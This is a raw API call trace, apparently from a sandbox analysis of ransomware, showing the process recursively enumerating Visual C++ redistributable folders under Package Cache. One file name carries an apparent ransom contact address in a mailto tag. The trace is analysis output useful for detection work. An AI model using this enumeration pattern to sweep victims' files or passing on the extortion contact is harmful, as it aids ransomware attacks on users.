	[0092.495] wcscpy (in: _Dest=0x491e528, _Source="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86"
	[0092.495] wcscat (in: _Dest=0x491e528, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\"
	[0092.495] wcscat (in: _Dest=0x491e528, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\*") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\*"
	[0092.495] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4710328
	[0092.495] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x4710328 | out: lpFindFileData=0x4710328*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033a9d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b068
	[0092.495] wcscmp (_String1=".", _String2=".") returned 0
	[0092.495] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4710328 | out: lpFindFileData=0x4710328*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033a9d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.495] wcscmp (_String1="..", _String2=".") returned 1
	[0092.495] wcscmp (_String1="..", _String2="..") returned 0
	[0092.495] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4710328 | out: lpFindFileData=0x4710328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x966f4c00, ftCreationTime.dwHighDateTime=0x1ced51c, ftLastAccessTime.dwLowDateTime=0x966f4c00, ftLastAccessTime.dwHighDateTime=0x1ced51c, ftLastWriteTime.dwLowDateTime=0x966f4c00, ftLastWriteTime.dwHighDateTime=0x1ced51c, nFileSizeHigh=0x0, nFileSizeLow=0xc89b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
	[0092.495] wcscmp (_String1="cab1.cab", _String2=".") returned 1
	[0092.495] wcscmp (_String1="cab1.cab", _String2="..") returned 1
	[0092.495] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4710328 | out: lpFindFileData=0x4710328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x565c9900, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x565c9900, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x565c9900, ftLastWriteTime.dwHighDateTime=0x1ced51d, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
	[0092.495] wcscmp (_String1="vc_runtimeMinimum_x86.msi", _String2=".") returned 1
	[0092.495] wcscmp (_String1="vc_runtimeMinimum_x86.msi", _String2="..") returned 1
	[0092.495] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4710328 | out: lpFindFileData=0x4710328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x565c9900, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x565c9900, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x565c9900, ftLastWriteTime.dwHighDateTime=0x1ced51d, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0
	[0092.495] FindClose (in: hFindFile=0x477b068 | out: hFindFile=0x477b068) returned 1
	[0092.495] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4710328) returned 1
	[0092.496] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491e528) returned 1
	[0092.496] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491e9d8) returned 1
	[0092.496] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x470f988 | out: lpFindFileData=0x470f988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033a9d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0
	[0092.496] FindClose (in: hFindFile=0x477b268 | out: hFindFile=0x477b268) returned 1
	[0092.496] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x470f988) returned 1
	[0092.496] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x49263f0) returned 1
	[0092.496] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2cea0) returned 1
	[0092.496] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x47100c0 | out: lpFindFileData=0x47100c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033181, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0092.496] FindClose (in: hFindFile=0x477b028 | out: hFindFile=0x477b028) returned 1
	[0092.496] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47100c0) returned 1
	[0092.496] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481bce8) returned 1
	[0092.496] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d619a0) returned 1
	[0092.496] FindNextFileW (in: hFindFile=0x2d87338, lpFindFileData=0x2ddeba8 | out: lpFindFileData=0x2ddeba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc307e4cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0a28d82, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", cAlternateFileName="{CA675~1")) returned 1
	[0092.496] wcscmp (_String1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", _String2=".") returned 1
	[0092.496] wcscmp (_String1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", _String2="..") returned 1
	[0092.496] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x90) returned 0x4e30708
	[0092.496] wcscpy (in: _Dest=0x4e30708, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache"
	[0092.496] wcscat (in: _Dest=0x4e30708, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\"
	[0092.496] wcscat (in: _Dest=0x4e30708, _Source="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}"
	[0092.496] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x94) returned 0x4894f00
	[0092.496] wcscpy (in: _Dest=0x4894f00, _Source="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}"
	[0092.496] wcscat (in: _Dest=0x4894f00, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\") returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\"
	[0092.496] wcscat (in: _Dest=0x4894f00, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*") returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*"
	[0092.497] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4710f30
	[0092.497] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*", lpFindFileData=0x4710f30 | out: lpFindFileData=0x4710f30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x986626d4, ftLastAccessTime.dwHighDateTime=0x1d5da5f, ftLastWriteTime.dwLowDateTime=0x986626d4, ftLastWriteTime.dwHighDateTime=0x1d5da5f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b268
	[0092.497] wcscmp (_String1=".", _String2=".") returned 0
	[0092.497] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x4710f30 | out: lpFindFileData=0x4710f30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x986626d4, ftLastAccessTime.dwHighDateTime=0x1d5da5f, ftLastWriteTime.dwLowDateTime=0x986626d4, ftLastWriteTime.dwHighDateTime=0x1d5da5f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.497] wcscmp (_String1="..", _String2=".") returned 1
	[0092.497] wcscmp (_String1="..", _String2="..") returned 0
	[0092.497] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x4710f30 | out: lpFindFileData=0x4710f30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd0a28d82, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x359ea6b6, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x375, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm.mailto[kkeessnnkkaa@cock.li].c3f7e", cAlternateFileName="STATER~1.C3F")) returned 1
	[0092.497] wcscmp (_String1="state.rsm.mailto[kkeessnnkkaa@cock.li].c3f7e", _String2=".") returned 1
	[0092.497] wcscmp (_String1="state.rsm.mailto[kkeessnnkkaa@cock.li].c3f7e", _String2="..") returned 1
	[0092.497] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x4710f30 | out: lpFindFileData=0x4710f30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd0a28d82, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd0a02b30, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x6f398, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x64.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1
	[0092.497] wcscmp (_String1="vcredist_x64.exe", _String2=".") returned 1
	[0092.497] wcscmp (_String1="vcredist_x64.exe", _String2="..") returned 1
	[0092.497] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x4710f30 | out: lpFindFileData=0x4710f30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd0a28d82, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd0a02b30, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x6f398, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x64.exe", cAlternateFileName="VCREDI~1.EXE")) returned 0
	[0092.497] FindClose (in: hFindFile=0x477b268 | out: hFindFile=0x477b268) returned 1
	[0092.497] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4710f30) returned 1
	[0092.497] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4894f00) returned 1
	[0092.497] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e30708) returned 1
	[0092.497] FindNextFileW (in: hFindFile=0x2d87338, lpFindFileData=0x2ddeba8 | out: lpFindFileData=0x2ddeba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a9b495, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc307f5ec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", cAlternateFileName="{CF2BE~1.610")) returned 1
	[0092.497] wcscmp (_String1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", _String2=".") returned 1
	[0092.497] wcscmp (_String1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", _String2="..") returned 1
	[0092.497] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa6) returned 0x2d621e0
	[0092.497] wcscpy (in: _Dest=0x2d621e0, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache"
	[0092.497] wcscat (in: _Dest=0x2d621e0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\"
	[0092.497] wcscat (in: _Dest=0x2d621e0, _Source="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030"
	[0092.498] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xaa) returned 0x481ba08
	[0092.498] wcscpy (in: _Dest=0x481ba08, _Source="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030"
	[0092.498] wcscat (in: _Dest=0x481ba08, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\"
	[0092.498] wcscat (in: _Dest=0x481ba08, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*"
	[0092.498] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x470f250
	[0092.498] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*", lpFindFileData=0x470f250 | out: lpFindFileData=0x470f250*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a9b495, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc307f5ec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b028
	[0092.498] wcscmp (_String1=".", _String2=".") returned 0
	[0092.498] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x470f250 | out: lpFindFileData=0x470f250*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a9b495, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc307f5ec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.498] wcscmp (_String1="..", _String2=".") returned 1
	[0092.498] wcscmp (_String1="..", _String2="..") returned 0
	[0092.498] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x470f250 | out: lpFindFileData=0x470f250*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc308016e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
	[0092.498] wcscmp (_String1="packages", _String2=".") returned 1
	[0092.498] wcscmp (_String1="packages", _String2="..") returned 1
	[0092.498] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x4f2d0e0
	[0092.498] wcscpy (in: _Dest=0x4f2d0e0, _Source="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030"
	[0092.498] wcscat (in: _Dest=0x4f2d0e0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\"
	[0092.498] wcscat (in: _Dest=0x4f2d0e0, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages"
	[0092.498] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4926198
	[0092.498] wcscpy (in: _Dest=0x4926198, _Source="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages"
	[0092.498] wcscat (in: _Dest=0x4926198, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\"
	[0092.498] wcscat (in: _Dest=0x4926198, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\*") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\*"
	[0092.498] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47100c0
	[0092.498] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\*", lpFindFileData=0x47100c0 | out: lpFindFileData=0x47100c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc308016e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b268
	[0092.499] wcscmp (_String1=".", _String2=".") returned 0
	[0092.499] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x47100c0 | out: lpFindFileData=0x47100c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc308016e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.499] wcscmp (_String1="..", _String2=".") returned 1
	[0092.499] wcscmp (_String1="..", _String2="..") returned 0
	[0092.499] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x47100c0 | out: lpFindFileData=0x47100c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3080926, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 1
	[0092.499] wcscmp (_String1="vcRuntimeMinimum_amd64", _String2=".") returned 1
	[0092.499] wcscmp (_String1="vcRuntimeMinimum_amd64", _String2="..") returned 1
	[0092.499] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe6) returned 0x491dbc8
	[0092.499] wcscpy (in: _Dest=0x491dbc8, _Source="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages"
	[0092.499] wcscat (in: _Dest=0x491dbc8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\"
	[0092.499] wcscat (in: _Dest=0x491dbc8, _Source="vcRuntimeMinimum_amd64" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64"
	[0092.499] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xea) returned 0x491b268
	[0092.499] wcscpy (in: _Dest=0x491b268, _Source="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64"
	[0092.499] wcscat (in: _Dest=0x491b268, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\"
	[0092.499] wcscat (in: _Dest=0x491b268, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\*") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\*"
	[0092.499] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4712c10
	[0092.499] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3080926, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b068
	[0092.499] wcscmp (_String1=".", _String2=".") returned 0
